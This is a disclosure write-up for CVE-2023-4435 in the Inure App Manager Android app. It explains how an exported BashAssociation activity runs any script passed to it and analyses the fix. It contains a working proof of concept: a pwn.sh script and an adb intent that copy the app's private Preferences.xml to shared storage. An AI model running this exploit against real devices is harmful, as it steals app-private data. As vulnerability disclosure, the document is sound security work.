CVE-2023-4435 — hamza417 · Inure App Manager
Theft of arbitrary files via execution of attacker-controlled bash scripts through the exported BashAssociation activity.
Inure App Manager’s terminal feature includes a BashAssociation activity that accepts shell scripts via file:// URIs and executes them — useful for launching scripts directly from a file manager. The problem is that this activity is exported without any permission requirement, meaning any app on the device can send it a script and have it run under Inure’s process identity.
Background
An Android activity with android:exported="true" in the manifest can be started by any application on the device, without the user’s knowledge. If that activity also processes file:// URIs without restricting who can call it, a malicious app can write a shell script to shared external storage and then trigger the exported activity to execute it. The script runs under the target app’s UID — giving it access to everything that app can access, including its private /data/data/ directory.
Inure already defined a custom permission (inure.terminal.permission.RUN_SCRIPT) to gate script execution. The intent was there; it just wasn’t applied to BashAssociation.
Root Cause Analysis
Here’s the full BashAssociation.kt:
// BashAssociation.kt
class BashAssociation : BaseActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
intent.data?.let {
contentResolver.openInputStream(it)?.use { inputStream ->
// copies the script to Inure's cache directory
val file = File(applicationContext.cacheDir?.path + "/" +
DocumentFile.fromSingleUri(applicationContext, it)!!.name)
file.outputStream().use { outputStream ->
inputStream.copyTo(outputStream)
}
// launches RunScript to execute it
val intent = Intent(this, RunScript::class.java)
intent.data = FileProvider.getUriForFile(
applicationContext, "${packageName}.provider", file)
intent.action = RunScript.ACTION_RUN_SCRIPT
intent.putExtra(RunScript.EXTRA_SCRIPT_PATH, file.absolutePath)
startActivity(intent)
finish()
}
}
}
}
There is no validation on intent.data. The activity:
- Opens a stream from whatever URI it received — including
file://URIs from external storage - Copies the file to Inure’s cache directory under the app’s own process
- Launches
RunScriptto execute it
An attacker writes a shell script to /sdcard/, then sends an intent with data = file:///sdcard/pwn.sh to BashAssociation. The script is copied to Inure’s cache and executed with Inure’s UID — giving the script access to Inure’s private data directory.
Proof of Concept
Step 1 — Write the payload to external storage:
adb shell
angelica:/ $ cd /sdcard
angelica:/sdcard $ mkdir inure-proof-of-concept
angelica:/sdcard/inure-proof-of-concept $ echo "cp /data/data/app.simple.inure/shared_prefs/Preferences.xml /sdcard/inure-proof-of-concept/inure-exfiltrated.xml" > pwn.sh
angelica:/sdcard/inure-proof-of-concept $ ls -la
total 10
drwxrwx--x 2 root sdcard_rw 3488 2023-08-13 13:32 .
drwxrwx--x 51 root sdcard_rw 3488 2023-08-13 13:31 ..
-rw-rw---- 1 root sdcard_rw 113 2023-08-13 13:32 pwn.sh
Step 2 — Send the intent to trigger execution:
adb shell am start \
-a android.intent.action.VIEW \
-d "file:///sdcard/inure-proof-of-concept/pwn.sh" \
-n app.simple.inure/.activities.association.BashAssociation
Step 3 — Verify the exfiltration:
angelica:/sdcard/inure-proof-of-concept $ ls -la
total 14
drwxrwx--x 2 root sdcard_rw 3488 2023-08-13 13:34 .
drwxrwx--x 51 root sdcard_rw 3488 2023-08-13 13:31 ..
-rw-rw---- 1 root sdcard_rw 1119 2023-08-13 13:34 inure-exfiltrated.xml
-rw-rw---- 1 root sdcard_rw 113 2023-08-13 13:32 pwn.sh
angelica:/sdcard/inure-proof-of-concept $ cat inure-exfiltrated.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="apk_external_storage" value="false" />
<boolean name="is_external_storage" value="false" />
<int name="app_accent_color" value="-29592" />
<int name="main_app_launch_count" value="5" />
<boolean name="is_custom_color" value="false" />
<int name="view_positions" value="7" />
<boolean name="disclaimer_agreed" value="true" />
<string name="last_search_keyword"></string>
<string name="crashCause">android.system.ErrnoException: open failed: ENOENT (No such file or directory)</string>
<string name="home_path">/data/user/0/app.simple.inure/app_HOME</string>
<string name="crash_message">java.lang.RuntimeException: Unable to start activity ComponentInfo{app.simple.inure/app.simple.inure.activities.association.BashAssociation}: java.io.FileNotFoundException: /sdcard/inure-proof-of-concept/inure-root-id-test.sh: open failed: ENOENT (No such file or directory)</string>
<long name="crash_timestamp" value="1691896905717" />
<boolean name="deep_search_keyword_mode" value="false" />
</map>
Preferences.xml is now on the sdcard. Worth noting: the crash_message field in the exfiltrated data is itself interesting — it reveals a previous failed test attempt (inure-root-id-test.sh), showing that Inure records its own crash details in the shared preferences. App-internal state, diagnostic data, and stored values all become accessible through this vector.
Impact
A malicious app on the same device can write any shell script to external storage and trigger BashAssociation to run it under Inure’s UID — giving full read/write access to Inure’s private /data/data/app.simple.inure/ directory, and execution of any command Inure is permitted to run. The severity is high: this is effectively arbitrary code execution in the context of the target app.
Patch Analysis
Fix commit e74062e. The correct fix is either setting android:exported="false" on BashAssociation (so it can only be started by explicit intents from within Inure itself) or adding android:permission="inure.terminal.permission.RUN_SCRIPT" to require callers to hold the permission the developer had already defined.
Timeline
| Date | Event |
|---|---|
| 2023-08-13 | Discovered and reported on huntr |
| 2023-08-15 | Validated by maintainer |
| 2023-08-20 | Scheduled public disclosure |